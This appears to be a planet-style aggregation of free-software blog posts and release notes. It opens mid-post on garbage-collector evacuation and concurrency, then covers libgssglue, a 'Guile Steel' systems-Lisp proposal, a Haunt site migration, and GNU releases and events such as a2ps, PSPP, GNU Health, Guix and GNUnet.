Say a mutator runs out of memory, and therefore invokes the collector. The collector decides for whatever reason that we should evacuate at least part of the heap instead of marking in place. How much of the heap can we evacuate? The answer depends primarily on how many free blocks you have reserved for evacuation. These are known-empty blocks that haven't been allocated into by the last cycle. If you don't have any, you can't evacuate! So probably you should keep some around, even when performing in-place collections. The Immix papers suggest 2% and that works for me too.
Then you evacuate some blocks. Hopefully the result is that after this collection cycle, you have more free blocks. But you haven't compacted the heap, at least probably not on the first try: not into 2% of total space. Therefore you tell the mutator to put any empty blocks it finds as a result of lazy sweeping during the next cycle onto the evacuation target list, and then the next cycle you have more blocks to evacuate into, and more and more and so on until after some number of cycles you fall below some overall heap fragmentation low-watermark target, at which point you can switch back to marking in place.
I don't know how this works in practice! In my test setups which triggers compaction at 10% fragmentation and continues until it drops below 5%, it's rare that it takes more than 3 cycles of evacuation until the heap drops to effectively 0% fragmentation. Of course I had to introduce fragmented allocation patterns into the microbenchmarks to even cause evacuation to happen at all. I look forward to some day soon testing with real applications.
concurrency
Just as a terminological note, in the world of garbage collectors, "parallel" refers to multiple threads being used by a garbage collector. Parallelism within a collector is essentially an implementation detail; when the world is stopped for collection, the mutator (the user program) generally doesn't care if the collector uses 1 thread or 15. On the other hand, "concurrent" means the collector and the mutator running at the same time.
Different parts of the collector can be concurrent with the mutator: for example, sweeping, marking, or evacuation. Concurrent sweeping is just a detail, because it just visits dead objects. Concurrent marking is interesting, because it can significantly reduce stop-the-world pauses by performing most of the computation while the mutator is running. It's tricky, as you might imagine; the collector traverses the object graph while the mutator is, you know, mutating it. But there are standard techniques to make this work. Concurrent evacuation is a nightmare. It's not that you can't implement it; you can. But it's very very hard to get an overall performance win from concurrent evacuation/copying.
So if you are looking for a good bargain in the marketplace of garbage collector algorithms, it would seem that you need to avoid concurrent copying/evacuation. It's an expensive product that would seem to not buy you very much.
All that is just a prelude to an observation that there is a funny source of concurrency even in some systems that don't see themselves as concurrent: mutator threads marking their own roots. To recall, when you stop the world for a garbage collection, all mutator threads have to somehow notice the request to stop, reach a safepoint, and then stop. Then the collector traces the roots from all mutators and everything they reference, transitively. Then you let the threads go again. Thing is, once you get more than a thread or four, stopping threads can take time. You'd be tempted to just have threads notice that they need to stop, then traverse their own stacks at their own safepoint to find their roots, then stop. But, this introduces concurrency between root-tracing and other mutators that might not have seen the request to stop. For marking, this concurrency can be fine: you are just setting mark bits, not mutating the roots. You might need to add an additional mark pattern that can be distinguished from marked-last-time and marked-the-time-before-but-dead-now, but that's a detail. Fine.
But if you instead start an evacuating collection, the gates of hell open wide and toothy maws and horns fill your vision. One thread could be stopping and evacuating the objects referenced by its roots, while another hasn't noticed the request to stop and is happily using the same objects: chaos! You are trying to make a minor optimization to move some work out of the stop-the-world phase but instead everything falls apart.
Anyway, this whole article was really to get here and note that you can't do ragged-stops with evacuation without supporting full concurrent evacuation. Otherwise, you need to postpone root traversal until all threads are stopped. Perhaps this is another argument that evacuation is expensive, relative to marking in place. In practice I haven't seen the ragged-stop effect making so much of a difference, but perhaps that is because evacuation is infrequent in my test cases.
Zokay? Zokay. Welp, this evening's nargery was indeed nargy. Happy hacking to all collectors out there, and until next time.
We have recently began a repackaging of [nonsystemd] packages (see #3290). The displaymanager-openrc package has been removed and specific init scripts have been added for their respective display manager (e.g. sddm-openrc for sddm, gdm-openrc for gdm and so on with lxdm, xdm and lightdm)
Regarding NetworkManager and dbus, their nonsystemd builds used to ship with their corresponding OpenRC init scripts, but now they were separated into networkmanager-openrc and dbus-openrc. Please install these when upgrading those packages.
I’m delighted to announce a new alpha release of GNU a2ps. This release involves minimal changes to functionality, but involves a considerable update to the build system and code cleanup and simplification, as well as bug fixes. See below for more details.
I am particularly keen to hear from users and packagers about this release, as I plan to make a stable 4.15 release soon.
Noteworthy changes in release 4.14.90 (2022-07-17) [alpha]
* This is an alpha release, owing to the considerable changes since the
last version.
* New maintainer, Reuben Thomas.
* Build:
- Updated and fixed the build system, using gnulib and modern Autotools.
- Remove OS/2 support.
- Require libpaper.
* Predefined delegations:
- Remove support for defunct Netscape and proprietary Acrobat Reader.
- Add lpr wrapper for automatic detection of different printing systems,
including CUPS support.
* Encodings:
- Use libre fonts for KOI-8.
- Composite fonts support.
* Documentation:
- Some English fixes.
- Man page for fixnt.
* Bug fixes:
- Fixes for security bugs CVE-2001-1593, CVE-2015-8107 and CVE-2014-0466.
GSS-API is a standardized framework that is used by applications to, primarily, support Kerberos V5 authentication. GSS-API is standardized by IETF and supported by protocols like SSH, SMTP, IMAP and HTTP, and implemented by software projects such as OpenSSH, Exim, Dovecot and Apache httpd (via mod_auth_gssapi). The implementations of Kerberos V5 and GSS-API that are packaged for common GNU/Linux distributions, such as Debian, include MIT Kerberos, Heimdal and (less popular) GNU Shishi/GSS.
When an application or library is packaged for a GNU/Linux distribution, a choice is made which GSS-API library to link with. I believe this leads to two problematic consequences: 1) it is difficult for end-users to chose between Kerberos implementation, and 2) dependency bloat for non-Kerberos users. Let’s discuss these separately.
No system admin or end-user choice over the GSS-API/Kerberos implementation used
There are differences in the bug/feature set of MIT Kerberos and that of Heimdal’s, and definitely that of GNU Shishi. This can lead to a situation where an application (say, Curl) is linked to MIT Kerberos, and someone discovers a Kerberos related problem that would have been working if Heimdal was used, or vice versa. Sometimes it is possible to locally rebuild a package using another set of dependencies. However doing so has a high maintenance cost to track security fixes in future releases. It is an unsatisfying solution for the distribution to flip flop between which library to link to, depending on which users complain the most. To resolve this, a package could be built in two variants: one for MIT Kerberos and one for Heimdal. Both can be shipped. This can help solve the problem, but the question of which variant to install by default leads to similar concerns, and will also eventually leads to dependency conflicts. Consider an application linked to libraries (possible in several steps) where one library only supports MIT Kerberos and one library only supports Heimdal.
The fact remains that there will continue to be multiple Kerberos implementations. Distributions will continue to support them, and will be faced with the dilemma of which one to link to by default. Distributions and the people who package software will have little guidance on which implementation to chose from their upstream, since most upstream support both implementations. The result is that system administrators and end-users are not given a simple way to have flexibility about which implementation to use.
2. Dependency bloat for non-Kerberos use-cases.
Compared to the number of users of GNU/Linux systems out there, the number of Kerberos users on GNU/Linux systems is smaller. Here distributions face another dilemma. Should they enable GSS-API for all applications, to satisfy the Kerberos community, or should they be conservative with adding dependencies to reduce attacker surface for the non-Kerberos users? This is a dilemma with no clear answer, and one approach has been to ship two versions of a package: one with Kerberos support and one without. Another option here is for upstream to support loadable modules, for example Dovecot implement this and Debian ship with a separate ‘dovecot-gssapi’ package that extend the core Dovecot seamlessly. Few except some larger projects appear to be willing to carry that maintenance cost upstream, so most only support build-time linking of the GSS-API library.
There are a number of real-world situations to consider, but perhaps the easiest one to understand for most GNU/Linux users is OpenSSH. The SSH protocol supports Kerberos via GSS-API, and OpenSSH implement this feature, and most GNU/Linux distributions ship a SSH client and SSH server linked to a GSS-API library. Someone made the choice of linking it to a GSS-API library, for the arguable smaller set of people interested in it, and also the choice which library to link to. Rebuilding OpenSSH locally without Kerberos support comes with a high maintenance cost. Many people will not need or use the Kerberos features of the SSH client or SSH server, and having it enabled by default comes with a security cost. Having a vulnerability in OpenSSH is critical for many systems, and therefor its dependencies are a reasonable concern. Wouldn’t it be nice if OpenSSH was built in a way that didn’t force you to install MIT Kerberos or Heimdal? While still making it easy for Kerberos users to use it, of course.
Hopefully I have made the problem statement clear above, and that I managed to convince you that the state of affairs is in need of improving. I learned of the problems from my personal experience with maintaining GNU SASL in Debian, and for many years I ignored this problem.
Let me introduce Libgssglue!
Matryoshka Dolls – photo CC-4.0-BY-NC by PngAll
Libgssglue is a library written by Kevin W. Coffman based on historical GSS-API code, the initial release was in 2004 (using the name libgssapi) and the last release was in 2012. Libgssglue provides a minimal GSS-API library and header file, so that any application can link to it instead of directly to MIT Kerberos or Heimdal (or GNU GSS). The administrator or end-user can select during run-time which GSS-API library to use, through a global /etc/gssapi_mech.conf file or even a local GSSAPI_MECH_CONF environment variable. Libgssglue is written in C, has no external dependencies, and is BSD-style licensed. It was developed for the CITI NFSv4 project but libgssglue ended up not being used.
I have added support to build GNU SASL with libgssglue — the changes required were only ./configure.ac-related since GSS-API is a standardized framework. I have written a fairly involved CI/CD check that builds GNU SASL with MIT Kerberos, Heimdal, libgssglue and GNU GSS, sets ups a local Kerberos KDC and verify successful GSS-API and GS2-KRB5 authentications. The ‘gsasl’ command line tool connects to a local example SMTP server, also based on GNU SASL (linked to all variants of GSS-API libraries), and to a system-installed Dovecot IMAP server that use the MIT Kerberos GSS-API library. This is on Debian but I expect it to be easily adaptable to other GNU/Linux distributions. The check triggered some (expected) Shishi/GSS-related missing features, and triggered one problem related to authorization identities that may be a bug in GNU SASL. However, testing shows that it is possible to link GNU SASL with libgssglue and have it be operational with any choice of GSS-API library that is shipped with Debian. See GitLab CI/CD code and its CI/CD output.
This experiment worked so well that I contacted Kevin to learn that he didn’t have any future plans for the project. I have adopted libgssglue and put up a Libgssglue GitLab project page, and pushed out a libgssglue 0.5 release fixing only some minor build-related issues. There are still some missing newly introduced GSS-API interfaces that could be added, but I haven’t been able to find any critical issues with it. Amazing that an untouched 10 year old project works so well!
My current next steps are:
Release GNU SASL with support for Libgssglue and encourage its use in documentation.
Make GNU SASL link to Libgssglue in Debian, to avoid a hard dependency on MIT Kerberos, but still allowing a default out-of-the-box Kerberos experience with GNU SASL.
Maintain libgssglue upstream and implement self-checks, CI/CD testing, new GSS-API interfaces that have been defined, and generally fix bugs and improve the project. Help appreciated!
Maintain the libgssglue package in Debian.
Look into if there are applications in Debian that link to a GSS-API library that could instead be linked to libgssglue to allow flexibility for the end-user and reduce dependency bloat.
What has delicious food ever done for me? Only made me want to eat more of it.
From now on I am only eating BORING-ASS GRUELS that I can eat as much as I want of which will not be much because they are BORING -- fediverse post birdsite post
And then:
I am making a commitment: I will be eating nothing but boring GRUELS until the end of 2022.
Hold me to it. fediverse post birdsite post
I am hereby committing to "a grueling diet" for the rest of 2022, as
an experiment. Here are the rules:
Gruel, Pottage, and soup, in unlimited quantities. But gruel is preferred.
Fresh, steamed, pickled, and roasted fruit, vegetables, and tofu may be eaten in unlimited quantity. Unsweetened baking chocolate, cottage cheese are also permitted.
Tea, seltzer water, milk (any kind), and coffee are fine to have.
Pottage (including gruel) may be adorned as deemed appropriate, but not too luxuriously. Jams and molasses may be had for a nice breakfast or dessert, but not too much. Generally, only adorn pottages at mealtime; pottages in-between mealtime should be eaten with as sparing of additions as possible.
Not meaning to be rude to visitors, guests, hosts, and other such good company, exceptions to the diet may be made when visiting, being visited, or going on dates.
I will provide followups to this post throughout the year, justifying the diet, describing how it has affected my health, putting it in historical context, providing recipes, etc.
In the meanwhile, to the rest of 2022: may that it be grueling indeed!
Edit (2022-07-15): Added tofu to the list of acceptible things to additionally eat. Clarified gruel/pottage adornment advice. Added roasting as an acceptable processing method for fruit/vegetables/tofu.
Before we get into this kind of stream-of-consciousness outline, I'd
like to note that very topically to this, over at the
Spritely Institute (where I'm CTO, did
I mention on here yet that I'm the CTO of a nonprofit to improve
networked communication on the internet on this blog? because I don't
think I did) we
published
a Scheme Primer,
and the feedback to it has been just lovely.
This post isn't a Spritely Institute thing (at least, not yet, though
if its ideas manifested it could be possible we might use some of the
tech), but since it's about Scheme, I thought I'd mention that.
This blogpost outlines something I've had kicking around in my head
for a while: the desire for a modern "systems lisp", you know, kind of
like Rust, except hopefully much better than Rust, and in Lisp. (And,
if it turns out to be for not other reason, it might simply be better
by being written in a Lisp.) But let's be clear: I haven't written
anything, this blogpost is a ramble, it's just kind of a set of
feelings about what I'd like, what I think is possible.
Let's open by saying that there's no real definition of what a
"systems language" is... but more or less what people mean is,
"something like C". In other words, what people nowadays consider a
low-level language, even though C used to be considered a high level
language. And what people really mean is: it's fast, it's
statically typed, and it's really for the bit-fiddling types of speed
demons out there.
Actually, let's put down a few asides for a moment. People have
conflated two different benefits fo "statically typed" languages
because they've mostly been seen together:
Static typing for ahead-of-time more-correct programs
Static typing for faster or leaner programs (which subdivides in
terms of memory and CPU benefits, more or less)
In the recent FOSS & Crafts episode
What is Lisp?
we talk a bit about how the assumptions that dynamically typed
languages are "slow" is really due to lack of hardware support,
and that lisp machines actually had hardware support directly (tagged
memory architecture and hardware garbage collection) and even wrote
low-level parts of their systems like the "graphics drivers" directly
in lisp, and it was plenty fast, and that it would even be possible to
have co-processors on which dynamic code (not just lisp) ran at
"native speed" (this is what the
MacIvory
did), but this is all somewhat of an aside because that's not the
world we live in. So as much as I,
Christine, would love to have tagged architecture (co-)processors, they
probably won't happen, except there's some
RISC-V tagged
architecture
things but I don't think they've gotten very far and they seem mostly
motivated by a security model that doesn't make any sense to me.
But I'd love to be wrong on this! I would like tagged RISC-V to
succeed! But still, there's the problem of memory management, and
I don't think anyone's been working on a hardware garbage collector
or if that would really be a better thing anyway.
The fact is, there's been a reinforcing effect over the last several
decades since the death of the lisp machine: CPUs are optimized for C,
and C is optimized for CPUs, and both of them try to optimize for each
other. So "systems programming" really means "something like C"
because that's what our CPUs like because that's what our languages
like and these are pretty much re-inforcing.
And besides, C is basically the lingua franca of programming
languages, right? If you want to make something widely portable,
you target the C ABI, because pretty much all programming languages
have some sort of C FFI toolkit thing or just make C bindings, and
everyone is happy. Except, oh wait,
C doesn't actually have an ABI!
Well, okay, I guess not, but it doesn't matter because the C ABI
triples, that's what the world works with.
Well also, you gotta target the web, right? And actually the story
there is a bit nicer because WebAssembly
is actually kinda awesome, and the hope and dream is that all
programming languages in some way or another target WebAssembly, and
then "you gotta write your thing in Javascript because it's the
language of the web!!!" is no longer a thing I have to hear anymore.
(Yes, all my friends who work on Javascript, I appreciate you for
making it the one programming language which has mostly gotten
better over time... hopefully it
stays that way,
and best of luck.)
But the point is, any interesting programming language these days
should be targeting Webassembly, and hopefully not just via
Emscripten, but hopefully via actually
targeting Webassembly directly.
So okay, we have at least two targets for our "system language": C, or
something that is C-compatible, and Webassembly.
And static type analysis in terms of preventing errors, that's also a
useful thing, I won't deny it. (I think the division of "statically
typed" and "dynamically typed" languages is probably more of a false
one than we tend to think, but that's a future blogpost, to be
written.) And these days, it's also how you get speed while also
being maximally bit-twiddly fast, because that's how our machines
(including the abstract one in Webassembly) are designed. So okay,
grumbling about conflating two things aside, let's run with that.
So anyway, I promised to write about this "Guile Steel" thing I've
been musing about, and we've gotten this far in the article, and I
haven't yet. So, this is, more than a concrete proposal, a call to
arms to implement just such a systems language for Guile. I might
make a prototype at some point, but you, dear reader, are free to take
the idea of "Guile Steel" and run with it. In fact, please do.
So anyway. First, about the name. It's probably pretty obvious based
on the name that I'm suggesting this be a language for
Guile Scheme. And "Guile" as a
name itself is both a continuation of the kind of playfully
mischevious names in the Scheme family and its predecessors, but also
a pun on co-founder of the Scheme language, Guy L. Steele. So "Guile
Steele" kinda brings that pun home, and "Steel" sounds low-level,
close to the metal.
But also, Guile has a lovely
compiler tower.
It would be nice to put some more lovely things on it! Why not a
systems language?
There's some precedent here. The lovely
Scheme 48's lowest levels of code
(including its garbage collector) are written in an interesting
language called
PreScheme
(more on PreScheme),
which is something that's kind of like Scheme, but not really.
It doesn't do automatic garbage collection itself, and I think
Rust has shown that this area could be improved for a more modern
PreScheme system.
But you can hack on it at the REPL, and then it can compile to
C, and it also has an implementation on Common Lisp, so you can
bootstrap it a few different ways.
PreScheme uses a
Hindley-Milner type system;
I suspect we can do even better with
a propagator approach
but that's untested.
Anyway, starting by porting PreScheme from Scheme48 to Guile directly
would be a good way to get going.
Guile also has some pretty good reasons to want something like this.
For one thing, if you're a
Guile
person, then by gosh you're probably
a Guix person.
And Rust, it's real popular these days, and for good reasons, we're
all better of with less memory vulnerabilities in our lives, but you
know... it's kind of a pain, packaging wise, I hear? Actually
I've never tried packaging anything in Rust but
Efraim certainly has
and when your presentation starts with the slide "Packaging Rust
crates in GNU Guix: How hard could it possibly be?" I guess the
answer is going to be that it's a bit of a headache. So maybe
it's not the end of the world, but I think it might be nice if on
that ground we had our own alternative, but that's just a minor thing.
And I don't think there's anything wrong with Rust, but I'd love to
see... can we do better? I feel like it could be hackable,
accessible, and it also could, probably, be a lot of fun? That's a
good reason, I know I'd like something like this myself, I'd like to
play with it, I'd like to be able to use it.
But maybe also... well, let's not beat around the bush, a whole lot
of Guile is written in C, and our dear wonderful
Andy Wingo has done a lot of lovely things
to make us less dependent on C, some
half-straps
and some
baseline compilers
and just rewriting a lot of stuff in Scheme and so on and so forth but
it would be nice if we had something we could officially rally around
as "hey this is the thing we're going to start rewriting things in",
because you know, C really is kind of a hard world to trust, and I'd
like the programming language environment I rely on to not be so
heavily built on it.
And at this point in the article, I have to say that
Xerz! pointed out that there
is a thing called Carp which
is indeed a lisp that compiles to C and you know what, I'm pretty
embarassed for having not paid attention to it... I certainly saw
it linked at one point but didn't pay enough attention, and... maybe
it needs a closer look. Heck, it's written in Haskell, which is a
pretty cool choice.
But hey, the Guile community still deserves a thing of its own, right?
What do we have that compiler tower
for if we're not going to add some cool things to it?
And... gosh, I'd really like to get Guile in the browser, and there
are some various paths, and
Wingo gave a fun presentation on compiling to Webassembly
last year, but wouldn't it be nice if just our whole language stack
was written in something designed to compile to either something
C-like or... something?
I might do some weekend fiddling towards this direction, but sadly
this can't be my main project. As a call to arms, maybe it inspires
someone to take it up as theirs though. I will say that if you work
on it, I promise to spend some time using whatever you build and
trying it out and sending patches. So that's it, that's my
stream-of-consciousness post on Guile Steel: currently an idea...
maybe eventually a reality?
Lo and behold, I've converted the last of the sites I've been managing
for ages to Haunt.
Haunt isn't well known. Apparently I am responsible for, er, many of
the sites listed on
awesome.haunt.page.
But you know what?
I've been making website things for a long time, and Haunt is honestly
the only static site generator I've worked with (and I've worked with
quite a few) that's actually truly customizable and programmable and
pleasant to work with.
And hackable!
This site has seen quite a few iterations... some custom code when I
first launched it
some time ago, then I used Zine,
then I used PyBlosxom,
and for quite a few years
everything was running on Pelican.
But I never liked hacking on any of those... I always kind of
begrudgingly opened up the codebase and regretted having to change
anything.
But Haunt?
Haunt's a dream, it's all there and ready for you, and I've even
gotten some patches upstream.
(Actually I owe Dave a few more, heh.)
Everything is Scheme in Haunt, which means, for instance, that this
page needed an archive page for ages that actually worked
and was sensible and I just didn't ever feel like doing it. But in
Haunt, it's just delicious Guile
flavored Scheme:
(define (archive-tmpl site posts)
;; build a map of (year -> posts)
(define posts-by-year
(let ((ht (make-hash-table))) ; hash table we're building up
(do ((posts posts (cdr posts))) ; iterate over all posts
((null? posts) ht) ; until we're out of posts
(let* ((post (car posts)) ; put this post in year bucket
(year (date-year (post-date post)))
(year-entries (hash-ref ht year '())))
(hash-set! ht year (cons post year-entries))))))
;; sort all the years
(define sorted-years
(sort (hash-map->list (lambda (k v) k) posts-by-year) >))
;; rendering for one year
(define (year-content year)
`(div (@ (style "margin-bottom: 10px;"))
(h3 ,year)
(ul ,@(map post-content
(posts/reverse-chronological
(hash-ref posts-by-year year))))))
;; rendering for one post within a year
(define (post-content post)
`(li
(a (@ (href ,(post-uri site post)))
,(post-ref post 'title))))
;; the whole page
(define content
`(div (@ (class "entry"))
(h2 "Blog archive (by year)")
(ul ,@(map year-content sorted-years))))
;; render within base template
(base-tmpl site content))
Lambda, the ultimate
static site generator!
At any rate, I expect some things are broken, to be fixed, etc.
Let me know if you see 'em.
Heck, you can browse the site contents
should you be so curious!
But is there really anything more boring than a meta "updated my
website code" post like this?
Anyway, in the meanwhile I've corrected straggling instances of my
deadname which were sitting around.
The last post I made was me
coming out as trans,
and... well a lot has changed since then.
So I guess I've got some more things to write.
And also this whole theme... well I like some of it but I threw it
together when I was but a wee web developer, back before CSS was actually
nice to write, etc.
So maybe I need to overhaul the look and feel too.
And I always meant to put in that project directory, and ooh maybe an
art gallery, and so on and so on...
But hey, I like updating my website again! So maybe I actually will!
I'm very pleased to announce the release of a new version of GNU PSPP. PSPP is a program for statistical analysis of sampled data. It is a free replacement for the proprietary program SPSS.
Changes from 1.6.1 to 1.6.2:
Bug fixes.
Please send PSPP bug reports to bug-gnu-pspp@gnu.org.
I'm very pleased to announce the release of a new version of GNU PSPP. PSPP is a program for statistical analysis of sampled data. It is a free replacement for the proprietary program SPSS.
Changes from 1.6.0 to 1.6.1:
The SET command now supports LEADZERO for controlling output of a leading zero in F, COMMA, and DOT format.
Bug fixes and translation updates.
Please send PSPP bug reports to bug-gnu-pspp@gnu.org.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
The GNU Education Team has published a new article by Richard Stallman on the threats of Big Tech in the field of education.
Many Governments Encourage Schools to Let Companies Snoop on Students
Human Rights Watch studied 164 software programs and web sites recommended by various governments for schools to make students use. It found that 146 of them gave data to advertising and tracking companies.
The researchers were thorough and checked for various snooping methods, including fingerprinting of devices to identify users. The targets of the investigation were not limited to programs and sites specifically “for education;” they included, for instance, Zoom and Microsoft Teams.
I expect that each program collected personal data for its developer. I'm not sure whether the results counted that, but they should. Once the developer company gets personal data, it can provide that data to advertising profilers, as well as to other companies and governments, and it can engage directly in manipulation of students and teachers.
The recommendations Human Rights Watch makes follow the usual approach of regulating the use of data once collected. This is fundamentally inadequate; personal data, once collected, will surely be misused.
The only approach that makes it possible to end massive surveillance starts with demanding that the software be free. Then users will be able to modify the software to avoid giving real data to companies.
The Central Bank of Austria has published a report in the context of a workshop celebrating 20 years of Euro-denominated cash. The report discusses the future of cash, including account- and blockchain-based designs, as well as GNU Taler.
Table of Contents
* About GNU Health Patchsets
* Updating your system with the GNU Health control Center
* Summary of this patchset
* Installation notes
* List of other issues related to this patchset
About GNU Health Patchsets
We provide "patchsets" to stable releases. Patchsets allow applying bug fixes and updates on production systems. Always try to keep your production system up-to-date with the latest patches.
Patches and Patchsets maximize uptime for production systems, and keep your system updated, without the need to do a whole installation.
NOTE: Patchsets are applied on previously installed systems only. For new, fresh installations, download and install the whole tarball (ie, gnuhealth-4.0.4.tar.gz)
Updating your system with the GNU Health control Center
Starting GNU Health 3.x series, you can do automatic updates on the GNU Health HMIS kernel and modules using the GNU Health control center program.
Please refer to the administration manual section (https://en.wikibooks.org/wiki/GNU_Health/Control_Center )
The GNU Health control center works on standard installations (those done following the installation manual on wikibooks). Don't use it if you use an alternative method or if your distribution does not follow the GNU Health packaging guidelines.
Installation Notes
You must apply previous patchsets before installing this patchset. If your patchset level is 4.0.3, then just follow the general instructions. You can find the patchsets at GNU Health main download site at GNU.org (https://ftp.gnu.org/gnu/health/)
In most cases, GNU Health Control center (gnuhealth-control) takes care of applying the patches for you.
After applying the patches, make a full update of your GNU Health database as explained in the documentation.
When running "gnuhealth-control" for the first time, you will see the following message: "Please restart now the update with the new control center" Please do so. Restart the process and the update will continue.
Restart the GNU Health server
List of other issues and tasks related to this patchset
* bug #62598, Payment term search stops in party
* bug #62596: Traceback if there is no Account Receivable defined neither on party or default acct config
* bug #62555: Too many decimals error when generating the invoice with certain discounts
* bug #62439: Error in sequence when generating Dx Imaging order
* bug #62428: complete blood count report takes two pages
* bug #62427: Typo in health_services exceptions
For detailed information about each issue, you can visit https://savannah.gnu.org/bugs/?group=health
For detailed information about each task, you can visit https://savannah.gnu.org/task/?group=health
For detailed information you can read about Patches and Patchsets
Anonymity loves company. Hence, to provide the best possible anonymity to GNU Taler users, the scalability of individual installations of a Taler payment service matters. While our design scales nicely on paper, NGI Fed4Fire+ enabled us to evaluate the transaction rates that could be achieved with the actual implementation. Experiments were conducted by Marco Boss for his Bachelor's thesis at the Bern University of Applied Sciences to assess bottlenecks and suggest avenues for further improvement.
It’s been ten years of
GNU Guix! To
celebrate, and to share knowledge and enthusiasm, a birthday
event will take place on September
16–18th, 2022, in Paris, France. The program is being finalized, but
you can already register!
Update (2022-07-12): Preliminary
program published!
This is a community event with several twists to it:
Friday, September 16th, is dedicated to reproducible research
workflows and high-performance computing (HPC)—the focuses of the
Guix-HPC effort. It will consist of talks
and experience reports by scientists and practitioners.
Saturday targets Guix and free software enthusiasts, users and
developers alike. We will reflect on ten years of Guix, show what
it has to offer, and present on-going developments and future
directions.
on Sunday, users, developers, developers-to-be, and other
contributors will discuss technical and community topics and
join forces for hacking sessions, unconference
style.
Check out the web site and consider
registering as soon as possible so we can better estimate the size of
the birthday cake!
If you’re interested in presenting a topic, in facilitating a session,
or in organizing a hackathon, please get in touch with the organizers at
guix-birthday-event@gnu.org and we’ll be happy to make room for you.
We’re also looking for people to help with logistics, in particular
during the event; please let us know if you can give a hand.
Whether you’re a scientist, an enthusiast, or a power user, we’d love to
see you in September. Stay tuned for updates!
About GNU GuixGNU Guix is a transactional package manager and
an advanced distribution of the GNU system that respects user
freedom.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system distribution
for i686, x86_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package management,
per-user profiles, and garbage collection. When used as a standalone
GNU/Linux distribution, Guix offers a declarative, stateless approach to
operating system configuration management. Guix is highly customizable
and hackable through Guile
programming interfaces and extensions to the
Scheme language.
We are happy to announce the completion of the following milestones for the DHT specification. The objective is to provide a detailed and comprehensive guide for implementors of the GNUnet DHT "R
5
N".
The milestones consist of documenting the base data structures and processes
of the protocol.
This includes the specification of the DHT message wire and serialization formats.
Completed milestones overview:
Defined base data structures and processes that form the foundation of the protocol: Routing table, distance metrics, infrastructure messages, bootstrapping and base functions for block processing.
Defined the core data structures and processes that are specific to the R
5
N protocol: Block and peer filtering, routing table management and lookup algorithms.
The protocol was extended to support path signatures. This enables optional integrity protection of paths result messages have taken in a potentially rouge environment.
The current protocol is implemented as part of GNUnet 0.17.x and gnunet-go as
previously announced on the mailing list
.
**We invite any interested party to read the document and provide critical
review and feedback. This greatly helps us to improve the protocol
and help future implementations. Contact us at
the gnunet-developers mailing list**
.
As part of the remaining milestones, the specification will be updated and
interoperability testing will be conducted.
Further, we aim to present the draft specification at IETF.
The GNU Hackers Meetings (https://www.gnu.org/ghm) are a friendly and informal venue to discuss technical issues concerning GNU (https://www.gnu.org) and free software (https://www.gnu.org/philosophy/free-sw.html). The time we proposed for GHM 2022 is approaching but unfortunately we only received three replies expressing interest. If we are to hold the event then we need more participants; at this stage a simple informal expression of interest is enough. The event is planned for an extended weekend (with talks from Friday to Saturday) in October 2022 in İzmir, Turkey. For the time being all the infamous entry barriers or restrictions are lifted in Turkey, with the ... [Read more]
